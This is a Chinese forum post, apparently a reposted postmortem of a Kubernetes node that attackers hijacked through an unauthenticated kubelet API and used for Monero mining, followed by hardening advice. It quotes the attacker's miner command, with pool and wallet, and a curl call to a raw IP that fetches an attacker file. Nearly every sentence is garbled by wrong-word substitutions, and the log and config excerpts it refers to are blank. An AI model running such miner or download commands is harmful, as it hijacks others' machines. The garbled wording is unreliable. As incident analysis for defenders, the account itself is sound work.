华人澳洲中文论坛

热图推荐

    Kubernetes 集群被入侵,办事器变矿机

    [复制链接]

    2023-2-3 07:19:04 15 0

    近期遇到了一次咱们自建 Kubernetes 集群中某台机器被入侵挖矿,后续也找到了缘故,所幸只是用来挖矿…
    网络平安是个庄重的问题,它老是在不经意间泛起,等你反映过去却曾经迟了。但愿各位看完后也有所启示,去反省及加固本人的集群。
    入侵景象
    反省到某台机器中泛起了异样过程
    ./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm curl -s http://45.9.148.35/scan_threads.dat


    简略来说,就是咱们的机器被用来挖矿了…
    问题泛起后,咱们第一时间封闭了docker,其实应该隔离下环境, 把挖矿顺序dump上去,以便后续剖析。
    详细缘故排查iptables为空
    泛起了异样过程,确定是被入侵了,我首先看的是 iptables 。果不其然,机器上的 iptables 规定是空的,象征着这台机器在裸奔。
    kubelet裸奔
    外部共事提出了有多是 kubelet 被入侵的问题,反省过其余组件后,开始反省 kubelet 组件
    最初反省到 kubelet 日志中有异样:


    kubelet设置不妥
    确认入侵问题,kubelet 参数设置过错,允许间接拜候 kubelet 的 api


    发现是 kubelet 的启动项中,该地位被正文掉:


    而后文件中阻止匿名拜候的配置没有读取


    该项配置是因为我操作不妥正文掉的
    因为是新减少的机器,当晚就发现了问题,全部集群是我在办理的,我跟跟着一同排查,所以很快就找到了缘故,当晚我就把其余机器中的配置项从新扫了一遍,如果它们的防火墙生效了,也会有相似的入侵状况产生,还好此次事情管制在1台机器中。
    改进计划
    其实该问题实践上讲是能够防止的,是由于泛起了多层破绽才会被有心人扫到,我从外到内整顿了一下可能改进的战略。
    机器防火墙设置,机器防火墙是全部零碎最外层,即便机器的防火墙同步失败,也不克不及默许凋谢一切端口,而是应该整个封闭,等候办理员衔接到tty终端上反省。使用机器时,如果机器不是袒露给内部使用的,公网IP可有可无的时分,尽可能不要有公网IP,咱们的机器才上线1天就被扫描到了破绽,可想而知,公网上是如许的风险使用kubelet以及其余零碎办事时,端口监听方面是否该有所考量?能不克不及不监听 0.0.0.0,而是只监听本机的内网IP。使用kubelet以及其余顺序,设计或是搭建零碎时, 关于匿名拜候时的权限管制, 咱们需求斟酌到如果端口匿名会泛起甚么问题,是不是应该允许匿名拜候,假如不允许匿名拜候,那末怎么做一套鉴权零碎?零碎办理员操作时,是不是有一个对比标准化的流程,是否该只使用脚本操作线上环境? 手动操作线上环境带来的问题其实不好排查和定位。
    我这里不是抛出疑难,只是想告知大家,斟酌零碎设计时,有须要斟酌下平安性。总结产生了入侵事情后,共事开玩笑说,还好没其余经济损失,要不我可能要回家了。作为集群的办理员,只要本人最分明问题的重大水平。从实质下去讲,问题曾经至关重大了。入侵者至关于具有了机器上docker的残缺管制权限。假如读者有读过我对于docker系列的内容,就对权限上理解分明了。
    由于此次事情的产生,不仅是我,还有SA的同窗根本都被diao了一遍,心里仍是有点好受的,但愿大家能对网络平安问题有所注重,从加固防火墙开始,防止监听不用要的端口,这两项最少是最容易完成的。

    发表回复

    您需要登录后才可以回帖 登录 | 立即注册

    返回列表 本版积分规则

    :
    注册会员
    :
    论坛短信
    :
    未填写
    :
    未填写
    :
    未填写

    主题22

    帖子33

    积分139

    图文推荐